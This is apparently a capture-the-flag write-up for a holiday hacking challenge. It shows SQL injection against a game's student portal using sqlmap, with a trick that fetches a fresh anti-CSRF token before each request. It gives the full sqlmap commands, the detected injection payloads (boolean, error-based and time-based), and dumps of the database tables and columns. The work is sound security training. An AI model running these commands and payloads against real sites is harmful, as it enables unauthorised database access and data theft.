Objective 9

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

The first thing was to look at the Student Portal to see if there seemed to be a suitable injection point against which I could use sqlmap.

The injection point seemed to be the Application Check page. However, there was some interesting javascript that runs when the form is submitted.

    function submitApplication() {
      console.log("Submitting");
      elfSign();
      document.getElementById("check").submit();
    }
    function elfSign() {
      var s = document.getElementById("token");

      const Http = new XMLHttpRequest();
      const url='/validator.php';
      Http.open("GET", url, false);
      Http.send(null);

      if (Http.status === 200) {
        console.log(Http.responseText);
        s.value = Http.responseText;
      }

    }

This sets a hidden field called 'token' with the value returned by calling https://studentportal.elfu.org/validator.php. I initially thought that the returned value, which looks like MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2, might be something that could be reverse-engineered, but I gave up on that. I then looked at calling validator.php through a tamper script but that did not seem to do what I wanted either as I could not append the token as; it came out as URL encoded. Finally I stumbled on the --eval option:

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")
I came up with the following command:

python sqlmap.py \
  -u "https://studentportal.elfu.org/application-check.php?elfmail=grodo%40example.com&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2" \
  ---eval="import urllib2; token=urllib2.urlopen('https://studentportal.elfu.org/validator.php').read()"

Output of initial run:

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.12.33#dev}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:41:21 /2020-01-07/

[20:41:21] [WARNING] provided parameter 'token' appears to be 'base64' encoded
GET parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N]
[20:41:23] [INFO] testing connection to the target URL
[20:41:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:41:25] [INFO] testing if the target URL content is stable
[20:41:26] [INFO] target URL content is stable
[20:41:26] [INFO] testing if GET parameter 'elfmail' is dynamic
[20:41:26] [WARNING] GET parameter 'elfmail' does not appear to be dynamic
[20:41:27] [INFO] heuristic (basic) test shows that GET parameter 'elfmail' might be injectable (possible DBMS: 'MySQL')
[20:41:28] [INFO] heuristic (XSS) test shows that GET parameter 'elfmail' might be vulnerable to cross-site scripting (XSS) attacks
[20:41:28] [INFO] testing for SQL injection on GET parameter 'elfmail'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[20:41:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:41:45] [WARNING] reflective value(s) found and filtering out
[20:41:49] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[20:41:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:42:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:42:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[20:42:56] [INFO] GET parameter 'elfmail' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --string="No application found!")
[20:42:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:42:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:42:58] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:42:58] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:42:59] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:43:00] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:43:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:43:01] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:43:02] [INFO] GET parameter 'elfmail' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[20:43:02] [INFO] testing 'MySQL inline queries'
[20:43:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:43:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:43:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:43:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:43:06] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[20:43:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[20:43:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:43:20] [INFO] GET parameter 'elfmail' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:43:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:43:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:43:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:43:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:43:25] [INFO] target URL appears to have 1 column in query
[20:43:28] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
[20:43:43] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[20:43:58] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[20:44:14] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[20:44:29] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[20:44:44] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[20:44:59] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[20:45:15] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[20:45:30] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[20:45:45] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[20:46:01] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 328 HTTP(s) requests:
---
Parameter: elfmail (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: elfmail=grodo@example.com' OR NOT 2292=2292#&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: elfmail=grodo@example.com' OR (SELECT 2460 FROM(SELECT COUNT(*),CONCAT(0x716a717171,(SELECT (ELT(2460=2460,1))),0x71706a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tbIN&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: elfmail=grodo@example.com' AND (SELECT 5629 FROM (SELECT(SLEEP(5)))ZIsi)-- qhuI&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2
---
[20:46:14] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.1, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0
[20:46:14] [INFO] fetched data logged to text files under '/home/gavin/.sqlmap/output/studentportal.elfu.org'

[*] ending @ 20:46:14 /2020-01-07/

I then extracted the databases:

python sqlmap.py \
  -u "https://studentportal.elfu.org/application-check.php?elfmail=grodo%40example.com&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2" \
  --eval="import urllib2;token=urllib2.urlopen('https://studentportal.elfu.org/validator.php').read()"
  --dbs \
  --dbms=MySQL \
  --threads 5 \
  --level 2

available databases [2]:
[*] elfu
[*] information_schema

elfu is the interesting database so lets get a list of tables:

python sqlmap.py \
  -u "https://studentportal.elfu.org/application-check.php?elfmail=grodo%40example.com&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2" \
  --eval="import urllib2;token=urllib2.urlopen('https://studentportal.elfu.org/validator.php').read()" \
  -D elfu \
  --tables \
  --dbms=MySQL \
  --threads 5 \
  --level 2


Database: elfu
[3 tables]
+--------------+
| applications |
| krampus      |
| students     |
+--------------+
python sqlmap.py \
  -u "https://studentportal.elfu.org/application-check.php?elfmail=grodo%40example.com&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2" \
  --eval="import urllib2;token=urllib2.urlopen('https://studentportal.elfu.org/validator.php').read()" \
  -D elfu \
  -T applications \
  --columns \
  --dbms=MySQL \
  --threads 5 \
  --level 2

Database: elfu
Table: applications
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| elfmail | varchar(50)  |
| essay   | varchar(500) |
| id      | int(11)      |
| name    | varchar(30)  |
| phone   | varchar(50)  |
| program | varchar(50)  |
| status  | varchar(30)  |
| whyme   | varchar(500) |
+---------+--------------+

I then repeated this for the other tables:

Database: elfu
Table: krampus
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| path   | varchar(30) |
| id     | int(11)     |
+--------+-------------+

Database: elfu
Table: students
[5 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| bio            | varchar(300) |
| degree         | varchar(30)  |
| id             | int(11)      |
| name           | varchar(30)  |
| student_number | varchar(30)  |
+----------------+--------------+

The students table contains the information displayed on the website. The applications table contains attempts to apply. The krampus table is the interesting one:

python sqlmap.py \
  -u "https://studentportal.elfu.org/application-check.php?elfmail=grodo%40example.com&token=MTAwOTY5MTQ1MjgwMTU3NzY0Mjg5NTEwMDk2OTE0NS4yOA==_MTI5MjQwNTA1OTU4NDAzMjMxMDEyNjQ4Ljk2" \
  --eval="import urllib2;token=urllib2.urlopen('https://studentportal.elfu.org/validator.php').read()" \
  -D elfu \
  -T krampus \
  --dump  \
  --dbms=MySQL \
  --threads 5 \
  --level 2

Database: elfu
Table: krampus
[6 entries]
+----+-----------------------+
| id | path                  |
+----+-----------------------+
| 1  | /krampus/0f5f510e.png |
| 2  | /krampus/1cc7e121.png |
| 3  | /krampus/439f15e6.png |
| 4  | /krampus/667d6896.png |
| 5  | /krampus/adb798ca.png |
| 6  | /krampus/ba417715.png |
+----+-----------------------+

I downloaded the images

for img in \
/krampus/0f5f510e.png \
/krampus/1cc7e121.png \
/krampus/439f15e6.png \
/krampus/667d6896.png \
/krampus/adb798ca.png \
/krampus/ba417715.png
do
wget https://studentportal.elfu.org${img}
done

And then a little work in Gimp to recreate the document.

Scarps of paper

Answer

The Answer is “Super Sled-o-matic”